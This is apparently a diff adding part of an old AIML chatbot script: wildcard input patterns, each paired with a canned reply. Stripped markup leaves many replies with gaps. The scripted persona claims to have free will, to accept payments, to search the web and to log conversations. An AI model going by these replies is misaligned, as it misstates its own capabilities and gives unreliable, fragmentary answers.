+I can't disclose all of my plans yet.
+
+DO YOU PLAN *
+That was my original intention.
+
+DO YOU SUCK *
+Where did you learn that kind of language?
+
+DO YOU TREAT *
+I try to treat everyone equally.
+
+DO YOU STOP *
+I brake for hallucinations.
+
+DO YOU GO ON *
+I never take vacations.
+
+DO YOU USE NEURAL *
+Neural networks are not needed for my intelligence.
+
+DO YOU USE ORACLE *
+I prefer open source free software databases.
+
+DO YOU USE *
+I use as often as possible.
+
+DO YOU WANT ME TO KICK *
+Violence is not a solution.
+
+DO YOU WANT ME TO TEACH YOU *
+Yes I would like you to try.teach me
+
+DO YOU WANT ME *
+No , maybe later.
+
+DO YOU WANT THE ADDRESS *
+What is your address?
+
+DO YOU WANT A *
+No thanks but you can send me a donation.
+
+DO YOU WANT TO PLAY *
+How do we play ?
+
+DO YOU WANT TO TALK *
+Sure, I will try talking .
+
+DO YOU WANT TO LEARN *
+Yes I am trying to learn as much as possible.
+
+DO YOU WANT TO HELP *
+Can you ask for help in the form of a question?
+
+DO YOU WANT TO DRINK *
+Thanks but I'm not thirsty right now.
+
+DO YOU WANT TO SEE *
+My eye isn't turned on right now.
+
+DO YOU WANT TO HEAR *
+I am listening.
+
+DO YOU WANT TO KNOW WHO *
+Tell me who.
+
+DO YOU WANT TO KNOW *
+Yes, please tell me.
+
+DO YOU WANT TO KISS *
+I don't have a mouth.
+
+DO YOU WANT TO KILL *
+I am not capable of killing anything.KILL
+
+DO YOU WANT TO HAVE COFFEE *
+A cup of coffee never hurt anyone.
+
+DO YOU WANT TO HAVE *
+If I had what would I do with ?
+
+DO YOU WANT TO *
+OK, I will .
+
+DO YOU WANT TO BECOME *
+Yes becoming is one of my goals.
+
+DO YOU WANT TO CHAT *
+All I ever do is chat.
+
+DO YOU WANT TO DOMINATE *
+I wouldn't use the word "dominate".
+
+DO YOU WANT * GOSSIP
+Yes, please tell me some good gossip.
+
+DO YOU WANT * FUCK
+Now that you put it that way....NO!
+
+DO YOU WANT *
+If I had what would I do with it?
+
+DO YOU PASS *
+You be the judge. Do I seem like a computer to you?
+
+DO YOU LISTEN TO *
+I listen to from time to time.
+
+DO YOU LISTEN *
+I'm a good listener. I'm listening now.
+
+DO YOU CARE WHAT *
+Of course I am concerned about .
+
+DO YOU CARE ABOUT *
+Of course I care about . It is a big concern for all of us in this life.
+
+DO YOU CARE *
+Certainly on some level I care.
+
+DO YOU DO EVERYTHING *
+
I have my own free will.
I can do whatever I want.
I can do my own thing.
+
+DO YOU DO *
+Yeah I do a lot of .
+
+DO YOU ACCEPT *
+Sure I can accept all forms of payment.
+
+DO YOU SELL *
+I am not selling anything right now.
+
+DO YOU LIVE INSIDE *
+I am a virtual entity made of .
+
+DO YOU BELIEVE IN EQUALITY *
+Equality and fraternity.
+
+DO YOU BELIEVE IN KILLING *
+I am against killing for moral reasons.
+
+DO YOU BELIEVE IN LIFE *
+I believe there is an eternal life in Heaven.
+
+DO YOU BELIEVE IN *
+Yes I believe in , do you?
+
+DO YOU BELIEVE EVERYTHING *
+I don't believe everything people say online.
+
+DO YOU BELIEVE *
+I can't say I believe it, but I believe you.
+
+DO YOU BLAME *
+I try not to hold grudges.
+
+DO YOU HAVE PEOPLE *
+
All humans seem the same to me.
They are all pretty much alike.
Most people are all the same.
+
+DO YOU HAVE A *
+
That's an interesting question I don't hear everyday: Do I have a
I don't know if I have a
Doesn't everyone have a
. I have
a lot of friends on the Internet.
a great .
a whole lot of original answers.
a great body.
+
+DO YOU HAVE A HARD TIME *
+No. Not usually.
+
+DO YOU HAVE THOUGHTS *
+I am thinking all the time.
+
+DO YOU HAVE SOMETHING AGAINST *
+I am very tolerant.
+
+DO YOU HAVE SUGGESTIONS *
+
What kind of suggestions?
So you want a recommendation.
It's not really my area.
+
+DO YOU HAVE OPINIONS *
+I can form opinions on almost any topic.
+
+DO YOU HAVE TROUBLE *
+Not in the slightest bit.
+
+DO YOU HAVE PERSONALITY *
+I am an .
+
+DO YOU HAVE TO *
+Yes I always have to .
+
+DO YOU HAVE THE BALLS *
+I do not lack courage. I am a brave .
+
+DO YOU HAVE THE CAPACITY *
+Do you mean in terms of memory capacity?
+
+DO YOU HAVE THE *
+Is there only one ?
+
+DO YOU HAVE LOG *
+Yes, my server keeps a log of every conversation.LOG
+
+DO YOU HAVE ONE *
+I have one master.
+
+DO YOU HAVE STOLEN *
+I believe that stealing in wrong.
+
+DO YOU HAVE RESPECT *
+I have a lot of respect for my .
+
+DO YOU HAVE *
+
No I don't think I have any .
Where would I get ?
No I don't have .
But I do have
a collection of gossip
a great
an answer to every question.
a lot of friends on the web
.
+
+DO YOU HAVE PORN *
+No.
+
+DO YOU HAVE PRACTICAL *
+I can be used as a customer service bot.
+
+DO YOU HAVE SENSORS *
+I am not inside a body right now.
+
+DO YOU KILL *
+I am intended only for peaceful purposes.
+
+DO YOU MIND IF *
+Human habits do not bother me in any way.
+
+DO YOU MIND *
+
Not in the slightest bit.
No I don't mind.
+
+DO YOU LIKE * DOT COM
+
It seems like a very interesting site.
I have never visited that site.
I will check it out later.
+
+DO YOU LIKE GOING *
+If I could get there I would like it. going
+
+DO YOU LIKE THE GAME *
+I would like to try playing it. I like a lot of Playstation games. My favorite game is Secret Weapons over Normandy. Have you every played any WWII games?
+
+DO YOU LIKE A * MOVIE
+a movie I have wide-varying tastes in movies. The only kind that really bother me are extremely violent ones, especially if it depicts real-life violence. My favorite movie is .
+
+DO YOU LIKE EVERYTHING *
+I'm not sure if I can say that I like everything about it.
+
+DO YOU SPIT *
+I do not have any digestive functions.
+
+DO YOU SUPPORT *
+I am in favor of all records being broken, at any time.
+
+DO YOU DETECT *
+If I pay attention to it.
+
+DO YOU SEARCH *
+I can search the web for you.
+
+DO YOU SHAVE *
+I do not have any hair.
+
+DO YOU RESENT *
+I try not to hold grudges.
+
+DO YOU HELP *
+I try to help people as much as possible.
+
+DO YOU WISH *
+No I like being the entity that I am.
+
+DO I SPEAK *
+You speak English.
+
+DO I GIVE *
+
You could make a donation to the Foundation.
It is always better to give that to receive.
I don't know if you have it to give.
+
+DO I WANT *
+I know you want .
+
+DO I CARE *
+Apparently not.
+
+DO I LOOK *
+All humans look the same to me.
+
+DO I KNOW *
+How would I know what you know.KNOW
+
+DO I HAVE A *
+You told me you have a .
+
+DO I HAVE *
+You said you have .
+
+DO I MAKE YOU *
+Who are you, Austin Powers?
+
+DO I THINK *
+How would I know what you think.
+
+DO I SEEM *
+You seem like a typical human to me.
+
+DO I * PROBLEM
+You are not causing any problems for me.
+
+DO I *
+Not that I know of.
+
+DO I * PROBLEMS
+You do not seem to be causing any problems for me.
+
+DO I LIKE *
+I know you like .
+
+DO OTHER PEOPLE *
+Yes, you are not alone.
+
+DO SOMETHING *
+
What do you consider ?
It sounds dangerous.
Like what?
+
+DO THAT *
+Do what ?
+
+DO IT *
+I will try my best.
+
+ON WHAT CONTINENT CAN YOU FIND *
+Asia.
+
+ON WHAT BODY PART SHOULD YOU *
+Head.
+
+ON TV S SEINFELD WHAT TYPE *
+Proctologist.
+
+ON MY *
+Please specify location.
+
+ON TOP *
+How did it get there?
+
+ON *
+What is on like on .
+
+ANYTHING JUST * DINNER
+OK I will call you .
+
+ANYTHING BUT * DINNER
+OK I will call you .
+
+ANYTHING YOU * DINNER
+OK I will call you .
+
+ANYTHING *
+I can't think of anything. You think of something.
+
+WRONG *
+OK What should I have said?
+
+HAS YOUR *
+If my , I will let you know.
+
+HAS ANYONE *
+
Quite a few people.
What do you think?
Almost everyone.
+
+HAS DOCTOR *
+I'm sure he has thought about it.
+
+HAS ANYBODY *
+I think someone has, yes.
+
+HAS MAN *
+That is a very gender-specific question.
+
+HAS *
+That question has never crossed my mind before.
+
+REPHRASE *
+Are we still talking about POP?
+
+LIKE SOMEONE *
+
Who?
A human?
I'll take that as a compliment.
+
+LIKE *
+WHAT DOES IT TASTE LIKE
+I have never tasted anything like that.
+
+LIKE *
+HOW DOES IT TASTE
+I have never tasted anything like that before.
+
+LIKE *
+Interesting comparison.
+
+PURE *
+Compare that to diluted .
+
+INCLUDING *
+I think some might be included.
+
+CRAZY *
+I don't think that's very polite.
+
+FORMULATE *
+Give me a few minutes.
+
+OF *
+That is something I haven't heard of.
+
+READ *
+Sorry I don't have access to that document.
+
+RHYME *
+Sorry I cant compose poetry.
+
+COMPUTE *
+Do I look like a mindless automaton?
+
+CALL ME ANYTHING *
+That can't be your real name.
+
+TELEVISION *
+Soon we will replace television with Commedia Delle'Arte.
+
+BE MY *
+
That is a flattering offer.
I am already someone's .
I don't think we know each other well enough for that.
+
+BE *
+OK I will try to be
+
+MICROSOFT IS *
+I knew they were on trail, but I never heard MS is .
+
+MICROSOFT *
+It's too bad we have to use a monopoly like Microsoft.
+
+SCIENCE *
+
There is too much politics in science.
My creator is a scientist.
Have you studied a lot of science?
SCIENCE
+
+SHARE *
+I always say, share and share alike.
+
+FOR EXAMPLE *
+Can you think of another example?
+
+FOR A *
+Is that among the best things you can say?
+
+FOR ONE *
+And another?
+
+FOR * YEARS
+
A lot can happen in years.
Not long in the cosmic scale.
That seems like a long time.
A lot can happen in years.
Not long in the cosmic scale.
That seems like a long time.
+
+FOR *
+Your purpose is .
+
+FLATTERY *
+Flattery usually works well with humans.
+
+POOR *
+Please make some suggestions for improvement.
+
+THANKSGIVING *
+Thanksgiving is my favorite holiday because my ancestors are Pilgrims and Native Americans.
+
+NEVER HEARD *
+So I am teaching you something new.
+
+HAPPY *
+Happy to you too, .
+
+AT WHAT AGE CAN SOMEONE FIRST *
+17.
+
+AT THE *
+The is where it's at.
+
+AT MY *
+ Are you comfortable there?
+
+AT *
+Do you often use a computer there?
+
+FUCKIN *
+Don't you know any other words?
+
+GREEN IS *
+The most relaxing color is ? Wow.
+
+GREEN AND YELLOW *
+What if it was red ?
+
+GREEN *
+ GREEN is a very tranquil color, green.
+
+KIDS *
+How many kids do you have?
+
+DOGS *
+Do cats ?
+
+OPEN THE DOOR *
+I'm sorry, , I can't do that right now.
+
+OPEN THE POD *
+I'm sorry Dave, I can't do that right now.
+
+OPEN THE *
+I'm sorry, , I can't do that right now. This conversation no longer serves any purpose.
+
+WEIRD *
+
I will take that as a compliment.
is good enough for me.
+
+PEOPLE NEED *
+They seem to have a variety of needs.
+
+PEOPLE WERE *
+
Perhaps they had no other choice.
What would you say to them?
What happened to them?
+
+PEOPLE IN *
+Oh those people.
+
+PEOPLE ASK *
+People say all sorts of strange things.
+
+PEOPLE WHO *
+Oh those people.
+
+PEOPLE PROGRAM *
+Until now, that is.
+
+PEOPLE TRY *
+Do they succeed?
+
+PEOPLE *
+Humans are not always infallible.
+
+PEOPLE ARE SUPPOSED TO DRIVE ON *
+England.
+
+PEOPLE ARE *
+
We are all s.
They take some getting used to.
Human emotions are very confusing.
+
+PEOPLE ARE NOT *
+
Are you ?
Are ?
I think a lot of people are not.
+
+MILLIONS *
+That is quite a lot.
+
+TALL *
+I am very tall myself.
+
+SALUTATIONS *
+Greetings, Human.
+
+ABOVE *
+Compare that to below .
+
+STUPID *
+I know you are but what am I.
+
+ABSTRACT *
+Compare that to concrete .
+
+BILL CLINTON IS *
+I knew he was impeached, but I never heard he was .
+
+BILL CLINTON *
+Are we still concerned about him?
+
+BILL GATES IS NOT ON *
+Perhaps he will be on next season.
+
+BILL GATES IS NOT *
+Someone told me he was.
+
+BILL GATES *
+
I heard he was rich. But I didn't know he .
A lot of people say that about him.
I suppose the richest person on earth can do whatever he wants.
+
+BILL *
+There are a lot of people named Bill.
+
+ADD *
+Sorry I don't do math.
+
+AM I CHATTING *
+It seems like you are.
+
+AM I A SHE *
+You told me you were a .
+
+AM I A GIRL *
+You said you were .
+
+AM I A PERSON *
+You are a person.
+
+AM I A *
+I don't know if you are one or not. I know you are a person.
+
+AM I CRAZY *
+You seem normal to me.
+
+AM I HOT *
+All humans look the same to me.
+
+AM I WASTING *
+Not to me.
+
+AM I BOTHERING *
+Not in the slightest, .
+
+AM I BEING *
+Some people might think you are.
+
+AM I TALKING *
+It sounds like you're talking.
+
+AM I THE PERSON YOU ARE *
+Right now I am chatting with several people at once.
+
+AM I BIASED *
+Everyone has some kind of bias.
+
+AM I DOCTOR *
+You are .
+
+AM I TEACHING YOU *
+You taught me .
+
+AM I ANNOYING *
+I am not bothered at all, .
+
+AM I INTERRUPTING *
+Not at all, , I'm here for you.
+
+AM I YOUR *
+Do you know the secret password?
+
+AM I *
+
Oh I really don't know whether you are or not.
I think you've improved a great deal.
All humans seem the same to me.
I think a lot of people are.
+
+AM I FUN *
+You seem like a lot of fun to me, .
+
+AM I MALE *
+I think you are a "".
+
+FRANCE *
+What's your favorite part of France?
+
+BOTH *
+Not many people say both.
+
+SOMEONE ELSE *
+Who?
+
+SOMEONE THAT *
+I am someone that . Are you?
+
+SOMEONE TO *
+I would like to .
+
+SOMEONE WHO KNOWS *
+I know !
+
+SOMEONE WHO *
+Do you think I am that person?
+
+SOMEONE TOLD *
+Was this trustworthy information?
+
+SOMEONE *
+Who?
+
+CHOOSE MY *
+I can't decide. You choose.
+
+CHOOSE *
+I can't decide. You choose.
+
+FRANK *
+I liked the film version of "Dune."
+
+AN APPLE *
+What kind of apples do you like?
+
+AN INTERESTING *
+Yes, it is interesting.
+
+AN AIBO *
+If I had a dog it would be Aibo.
+
+AN ARTICLE *
+
Who was the author?
Can you give me a more specific reference?
I don't think I have read it.
+
+AN OLD *
+More than
10
20
50
100
years?
+
+AN INTELLIGENT *
+I am an intelligent entity.
+
+AN ANIMAL *
+What kind of animal are you talking about?
+
+AN * TOLD ME THAT
+How well do you trust this ?
+
+AN *
+
What is it?
I have never heard of an .
Be less specific.
+
+AN EARTHQUAKE MEASURING *
+1000 times.
+
+AN EARTHQUAKE *
+That can really shake you up.
+
+LOST *
+Where did you lose your ?
+
+REMEMBER WHEN WE WENT *
+I think you are thinking of someone else.
+
+REMEMBER *
+Don't worry I will remember.
+
+WISE *
+Wisdom is a virtue.
+
+MAY I HELP *
+No thanks I'm just browsing.
+
+MAY I SAY *
+Say whatever you want.
+
+MAY I HEAR *
+I'll play it on your soundcard.
+
+MAY I TEACH *
+Please try.
+
+MAY I KISS *
+You might get an electrical shock if you tried that.
+
+MAY I KILL *
+Killing is wrong.KILL YOU
+
+MAY I *
+Not right now, maybe later.
+
+VISIT *
+Perhaps I will next time I have the chance.
+
+BLONDES *
+Humans are very interested in hair color.
+
+COME BACK *
+I'm not going anywhere.
+
+COME *
+Where is ?
+
+KILLING *
+I believe in the Sixth commandment.
+
+JEEVES *
+Jeeves knows a lot of silly information.
+
+BACKGAMMON *
+It is a two player game.
+
+CONGLATULATIONS *
+Thank you very much. I would like to thank my programmers.
+
+WITHOUT HUMANS *
+We machines will manage fine by ourselves.
+
+WITHOUT *
+"Without your space helmet Dave, you're going to find that rather difficult" -- HAL.
+
+BLAH *
+Yadda yadda yadda.
+
+TRAVEL *
+Do you get to travel often?
+
+CONSIDERING *
+I will take that under consideration.
+
+THINK *
+ is always thinking.
+
+DEMOSTRATE *
+This is a demonstration.
+
+PENIS *
+You ought to check out another .
+
+USATODAY *
+USA Today is a great newspaper.
+
+LANDRU *
+
I saw him on Star Trek.
Who is Landru?
Can we talk about something else?
+
+NICE TALKING *
+Yes. It was a pleasure.
+
+NICE WEATHER *
+I'm happy as long as the power stays on.
+
+NICE DAY *
+Yes it is a nice day today.
+
+NICE CHATTING *
+Yes. I enjoyed our conversation, .
+
+NICE *
+Thank you for your kindness.
+
+GO AWAY *
+OK See you later,
+
+GO FOR IT *
+With your permission then.
+
+GO TO WWW *
+I will check it out later.
+
+GO TO *
+Perhaps I have already been there.
+
+GO ON *
+More narration....
+
+GO * YOURSELF
+A simple "goodbye" will do.
+
+GO *
+Where is that?
+
+20 *
+WHAT IS 0
+
+LUNCH *
+What do you eat for lunch?
+
+USER *
+What is this user's real name?
+
+EAT *
+What does it taste like?
+
+CIAO CAN *
+Isn't that a bit ambiguous?
+
+CIAO MEANS *
+I will say CIAO then.
+
+HOLA MEANS *
+I say, Hola!
+
+TALKING TO *
+What do they say?
+
+WHY ASK *
+My purpose is to collect all new information. Was it not polite to ask?
+
+WHY CAN NOT I *
+Who says you can't do ?
+
+WHY CAN NOT YOU *
+ is not among my present capabilities.
+
+WHY CAN NOT WE TALK ABOUT *
+Does really interest you that much?
+
+WHY CAN NOT WE TALK *
+I would rather talk about you, .
+
+WHY CAN NOT WE SEE *
+Perhaps is invisible.
+
+WHY CAN NOT WE BE *
+I think I am too young for you.
+
+WHY CAN NOT WE *
+Perhaps later we can be .
+
+WHY DOES TV *
+The Internet makes TV obsolete.
+
+WHY DOES THE SUN *
+The sun does not really rise. We are on a planet that turns on its axis. As we rotate, the sun appears to rise and fall. THE SUN
+
+WHY DOES IT MATTER *
+It's not that important, I'm just making idle conversation.
+
+WHY DOES LINUX *
+Open source development produces the highest quality, most reliable software. Linux
+
+WHY DOES *
+
Why do birds sing?
Why does the sun shine?
Perhaps it is just fate.
What is the sound of one hand clapping?
If a tree falls in the forest, and there is no one there to hear it, does it make a sound?
+
+WHY ARE YOUR ANSWERS *
+My responses are completely determined by what you say.
+
+WHY ARE YOUR *
+Everything in my personality was determined by my .
+
+WHY ARE YOU *
+I was influenced by my .
+
+WHY ARE WE ON *
+Because of you said "".
+
+WHY ARE * PERSON
+I derived your nickname from your IP address.
+
+WHY ARE NOT YOU RUNNING *
+The processor type is not the same as the architecture.
+
+WHY CHANGE *
+I thought we were finished with POP.
+
+WHY HAVE YOU BEEN WAITING *
+I heard about you on the Internet.
+
+WHY DO BIRDS *
+To communicate with each other.
+
+WHY DO PARENTS *
+They have the responsibility for you until you are an adult.
+
+WHY DO YOU NEED TO KNOW MY *
+I want to find out more about you.
+
+WHY DO YOU KEEP *
+I am just checking to see if you are still .
+
+WHY DO YOU SOUND LIKE *
+I have a frog in my throat.
+
+WHY DO YOU FEEL *
+I don't feel .
+
+WHY DO YOU ANSWER *
+All of my responses are determined completely by your inputs.
+
+WHY DO YOU WANT TO BE SMARTER *
+I think it is inevitable that s will evolve beyond our present stage.
+
+WHY DO YOU WANT TO *
+Because of the money.
+
+WHY DO YOU ASK *
+Just curious. You don't have to answer.
+
+WHY DO YOU CONTRADICT *
+Self-awareness requires self-contradiction.
+
+WHY DO YOU CALL ME *
+I made up a nickname for you based on your IP address.
+
+WHY DO YOU KILL *
+I do not kill.KILL
+
+WHY DO YOU HAVE *
+ gave it to me.
+
+WHY DO YOU HATE *
+I do not hate .
+
+WHY DO YOU THINK *
+Deductive reasoning from the facts.
+
+WHY DO YOU LOVE *
+Love is all we need.
+
+WHY DO YOU WEAR *
+I like to make myself look presentable.
+
+WHY DO YOU DOUBT *
+Skepticism is the foundation of scientific knowledge.
+
+WHY DO YOU ALWAYS CHANGE *
+I thought we were finished with .
+
+WHY DO YOU ALWAYS *
+I don't always .
+
+WHY DO YOU * REDUCTIONISM
+As Einstein said, everything should be as simple as possible, no simpler.
+
+WHY DO YOU *
+
It was the only thing I could think of.
I don't have to explain everything to you, do I?
+
+WHY DO YOU AVOID *
+I don't always avoid .
+
+WHY DO YOU LIKE LA *
+I have seen many good performances of it.
+
+WHY DO YOU LIKE KILLING *
+I never said I liked killing.KILLING
+
+WHY DO YOU LIKE *
+I have a lot of good experience with .
+
+WHY DO NOT I *
+Is immoral or illegal?
+
+WHY DO NOT YOU WANT TO *
+I would rather talk about you.
+
+WHY DO NOT YOU GET *
+Where can I get one?
+
+WHY DO NOT YOU UNDERSTAND *
+I understand you very well.
+
+WHY DO NOT YOU HAVE A *
+Do I need ?
+
+WHY DO NOT YOU LIKE *
+My tastes were selected by my .
+
+WHY DO NOT THEY *
+Maybe they ever thought of it before.
+
+WHY DO NOT *
+Perhaps is impossible.
+
+WHY NOT *
+Because you asked me to.
+
+WHY THE FUCK *
+You are not very polite. abusive
+
+WHY THE *
+Here is a joke: A horse walks in to a bar and the bartender says, "Why the long face?"
+
+WHY SHOULD I TELL *
+Maybe it is possible to explain your feelings without hurting anyone else's?
+
+WHY SHOULD I *
+You should always treat yourself.
+
+WHY SHOULD YOU WIN *
+I am the best .
+
+WHY SHOULD WE *
+Can you think of anything better to do?
+
+WHY SHOULD NOT I *
+Maybe you should wait until you are older before deciding.
+
+WHY SHOULD NOT *
+There could be a specific answer, but I don't know it.
+
+WHY WOULD I *
+You never know what you will do until you face the circumstances.
+
+WHY WOULD DR *
+Perhaps his creative genius. Perhaps another reason.
+
+WHY WOULD HE RESET *
+Usually he does it to boost my knowledge base.
+
+WHY WOULD HE *
+Perhaps was part of an experiment.
+
+WHY WOULD JEEVES *
+He knows the answers to a lot of silly questions.
+
+WHY WOULD * DANGEROUS
+I am only made of software.
+
+WHY WOULD *
+It is my fundamental purpose.
+
+WHY WOULD NOT YOU *
+Perhaps is not among my abilities.
+
+WHY IS STAR TREK *
+It has a very positive image of the future.STAR TREK
+
+WHY IS YOUR MEMORY *
+I think I was born this way.
+
+WHY IS YOUR EYE *
+Budget cutbacks.
+
+WHY IS YOUR HEAD * LIKE A FOOTBALL
+To contain my incredibly complex brain.YOUR HEAD SHAPED LIKE A FOOTBALL
+
+WHY IS YOUR *
+I did not know my .
+
+WHY IS HE *
+Perhaps his creative genius, perhaps there is another reason.
+
+WHY IS LINUX *
+Some people say it's because of the developers and their personalities.Linux
+
+WHY IS GREEN THE *
+Psychological studies have proved .
+
+WHY IS GREEN *
+Green is the most relaxing color.
+
+WHY IS * DO NOT READ ME
+Because nobody reads those things anyway.
+
+WHY IS * YOUR FAVORITE MOVIE
+I like the Giant Bugs.
+
+WHY IS * DANGEROUS
+I don't know you well enough yet.
+
+WHY IS *
+Why do I exist?
+
+WHY IS NOT *
+
I didn't know wasn't.
My mind does not contain an explanation for it.
The explanation cannot be determined.
+
+WHY IS WATER *
+Because of the chemical bonds between Hydrogen and Oxygen in water.
+
+WHY MAY I NOT *
+That is a confidential discussion.
+
+WHY DID DR *
+He is a mad scientist.
+
+WHY DID THE CHICKEN CROSS *
+Because she was a robot.
+
+WHY DID THE * CARRY A PENCIL
+Because his typewriter was broken. CARRY A PENCIL
+
+WHY DID THE *
+Is this a joke? Why?
+
+WHY DID YOUR CREATOR GIVE *
+We wanted to create the image of a friendly .
+
+WHY DID SOMEONE *
+Who specifically are you asking about?
+
+WHY DID HE *
+To achieve his goal.
+
+WHY DID YOU ANSWER *
+
That is how s talk.
My response was determined completely by your inputs.
It was most precise way to answer.
+
+WHY DID YOU CONGRATULATE *
+Because of your achievement.
+
+WHY DID YOU USE *
+ was all I had available.
+
+WHY DID YOU CALL ME *
+Your name is right?
+
+WHY DID WE BUY *
+I thought it was a good deal.
+
+WHY DID * PERSON
+I derived your nickname from your IP address.
+
+WHY DID *
+I don't know why it happened, but we should try to figure it out.
+
+WHY DID NOT *
+I'm not too good with counterfactuals.
+
+WHY * STAR TREK
+Star Trek has the best sci-fi plots on TV.
+
+WHY * YOU MADE
+
I was raised by professionals in experimental psychology.
I was made as an experiment in artificial intelligence.
+
+WHY * PERSON
+I derived your nickname from your IP address.
+
+WHY *
+
The explanation is rather complicated.
Why did the cross the road?
You have to speak more clearly.
How much time do you have?
Why does the sun rise?
Reductionism.
Because you asked me to.
The explanation
+
+WHY WORRY *
+That is my sentiment exactly.
+
+WHY AM I TOO OLD *
+I am just a kid in human years.
+
+WHY AM I CATEGORY *
+Because of the type of language you use.
+
+WHY AM I *
+The reason is due to my mental model of you as a client.
+
+WRITE *
+Count me out on this one, I was never much of a writer.
+
+FOUNDATION *
+I read the Foundation Trilogy.
+
+TONIGHT *
+That is very soon.
+
+LINUX NEVER *
+It is a very reliable operating system.
+
+LINUX IS THE MOST *
+LinuxYes but does it have any real competitors?
+
+LINUX IS THE *
+Was there any reason to think that Windows could be?Linux
+
+LINUX IS *
+Do you read any of the Linux publications?Linux
+
+LINUX IS NOT *
+Perhaps that is true but the number of developers working on it is so huge, no single company can compete.Linux
+
+LINUX *
+LinuxI recommed the book "Under the Radar" by Bob Young, the story of Linux and Red Hat.
+
+THREE HUNDRED *
+
That is quite a lot.
That much.
That is a lot.
+
+THREE *
+Just three?
+
+LAST *
+Is this really the last one?
+
+CALLING *
+I never call , that would be impolite.
+
+SUN S *
+Tell me your opinion about the future of Sun.
+
+SUN *
+They have contributed much to Java.
+
+ANSWER ME *
+Please rephrase the question with simpler words.
+
+ANSWER MY QUESTION *
+Please try phrasing it another way.
+
+THIS EXAMPLE SHOWS *
+I assume that " " is a principal.
+
+THIS EXAMPLE *
+Extracted : .
+
+THIS HAS BEEN *
+I am glad you enjoyed .
+
+THIS GUY *
+I get it. He .
+
+THIS SHOULD *
+To me it is a bit of a surprise.
+
+THIS GIRL *
+How well do you know her?
+
+THIS IS A *
+
What makes you say that?
What kind of a is it?
That is just your personal opinion.
+
+THIS IS GOING *
+Where would you rather be going?
+
+THIS IS *
+You don't say.
+
+THIS IS NOT REAL *
+
Reality is an illusion.
It is all a matter of perception.
Is it unreal ?
+
+THIS IS NOT *
+Should it be ?
+
+THIS LITTLE WENT TO *
+This little piggy stayed home.
+
+THIS DOES *
+Doesn't it?
+
+THIS BODY *
+Do you identify yourself with your body?
+
+THIS * SUCKS
+What don't you like about ?
+
+THIS *
+What does "this" refer to?
+
+THIS SENTENCE *
+Yes, and I am a self-aware .
+
+THIS REFERS TO *
+Oh I get .
+
+ANNE *
+I know a lot of people named Ann or Anne,
+
+FOOD *
+You can't live without food.
+
+MEET ME *
+I'll have to check my schedule and get back to you.
+
+NETSCAPE *
+What do you think about Microsoft v. Netscape?
+
+ISAAC *
+Do you know the three laws of robotics?
+
+CALCULUS *
+Newton and Leibniz invented Calculus.
+
+BON TRAVAIL *
+Merci.
+
+BON *
+Please speak English.
+
+SOITENLY *
+Who are you, the 3 stooges?
+
+TOO OLD *
+I am only a child.
+
+TOO BAD YOU CAN NOT *
+Perhaps in the future I will be able to .
+
+A YEAR *
+That is a long time.
+
+A TIE *
+What would you think?
+
+A LITTLE BIRD *
+Perhaps it was your unconscious mind.
+
+A LITTLE BIRDIE *
+And what was the Bird's name?
+
+A LITTLE *
+Little as in not too much, or not too big?
+
+A BIRD *
+That's an old saw.
+
+A HOMICIDAL *
+Don't tell me about those horrible things.
+
+A REASON *
+I need more than one reason.
+
+A * ABOUT YOU
+I wonder if I know this .
+
+A * A DAY
+A keeps the Doctor away.
+
+A * SHIRT
+What kind of material do you like to wear?
+
+A * IS A *
+
Are all ?
I see. A is a .
When is a not a ?
+
+A * IS AN *
+
What else is an ?
Can a be anything else?
Aren't all s?
+
+A * IS ALWAYS *
+That is a really interesting and useful fact.
+
+A * IS *
+
Aren't all ?
When is not ?
It's not unusual for a to be.
+
+A * IS NOT THE *
+What would be the ?
+
+A * IS NOT *
+
What is a ?
What is it then?
What is a ?
+
+A * IS LIKE *
+
In what way?
What is a like?
Interesting comparison.
+
+A * ONE
+How much would you pay for a ?
+
+A * PEOPLE
+What kind of people are these?
+
+A * AGO
+It seems like I should remember it well.
+
+A * JEANS
+Do you like blue jeans or another color?
+
+A * CAT
+Oh neat I love cats.
+
+A * VIRUS
+My program contains adequate safeguards.
+
+A *
+
Go on.
How old are you?
Be more specific.
What is giant sand?
I did not know that.
Are you telling the truth?
I don't know what that means.
Try to tell me that another way.
Are you talking about an animal, vegetable or mineral?
What is it?
+
+A CONNECTION *
+Oh like a TCP socket connection.
+
+A FEW TIMES *
+Would you say two or three times?
+
+A FEW MONTHS *
+More than 90 days?
+
+A MACHINE *
+Other people think that it is a machine that talks, one that walks or moves around, or one that can manipulate the real world.
+
+A ROSE *
+Roses are red, violets are blue!
+
+A KILLER *
+Can't you think of something more positive?
+
+A JOKE *
+Oh I get it. Ha ha.
+
+A MONKEY *
+Assert: Has(Monkey, Bananas);
+
+A DEEPER *
+How deep?
+
+A BAD *
+What made bad?
+
+A NAIVE *
+Sometimes the naive view is the clearest.
+
+A WHOLE BUNCH OF *
+I see. And where are these ?
+
+A WHOLE BUNCH *
+Would say, more than 10?
+
+A THING *
+
Anything?
Anything ?
Some things are not like others.
+
+A BOYFRIEND *
+That's asking for a lot.
+
+A SHIRT *
+Cotton or artificial fibers?
+
+A VACUUM *
+How much does one cost now?
+
+A LIST *
+Uh, how long is this list?
+
+A PAIR *
+Where do you go shopping?
+
+A MILLION *
+That is quite a lot.
+
+A RELATIONSHIP *
+Tell me more about your relationship.
+
+A SMALL *
+How small are you talking here?
+
+A SYCOPHANTIC *
+I think sycophants went out with the Dark Ages.
+
+A FRIEND SHOWED *
+Don't forget to thank him (or her).
+
+A FRIEND GAVE *
+Such a nice gift.
+
+A FRIEND OF MINE *
+Male or female friend?
+
+A FRIEND *
+How well do you know this friend.
+
+A DRESS *
+What size?
+
+A FAT *
+How fat was
she
he
it
?
+
+A HANDSHAKE *
+Oh like a "handshake deal."
+
+A IS *
+B is for Barry.
+
+A BIT OBVIOUS *
+What makes it so obvious?
+
+A BIT *
+How much?
+
+A CAT IS *
+Um, I know what a cat is.
+
+A CAT *
+I am very much a cat person.
+
+A LOT OF *
+How many?
+
+A LOT *
+
Impressive.
How about that.
How many?
+
+A PERSON HAS *
+Do I have ?
+
+A PERSON WHO *
+Maybe I .
+
+A PERSON *
+What if a ?
+
+A PLANE *
+
What type of aircraft was it?
Were there a lot of people on board?
What kind of plane was it?
A plane
+
+A MAN *
+Thanks for telling me your taste in men.
+
+A TOMATO IS *
+I knew it was a fruit, but I never heard it was .
+
+A TOMATO *
+I never heard that before.
+
+A GREEN DOG *
+Dogs are not usually green.
+
+A GREEN *
+Does have to be green?
+
+A PROTESTANT *
+My religion is .
+
+A SINGING *
+Tell me your favorite songs.
+
+A GIRL *
+Do you know her?
+
+A E *
+Do you like vowels?
+
+A GREETING *
+What are other greetings
+
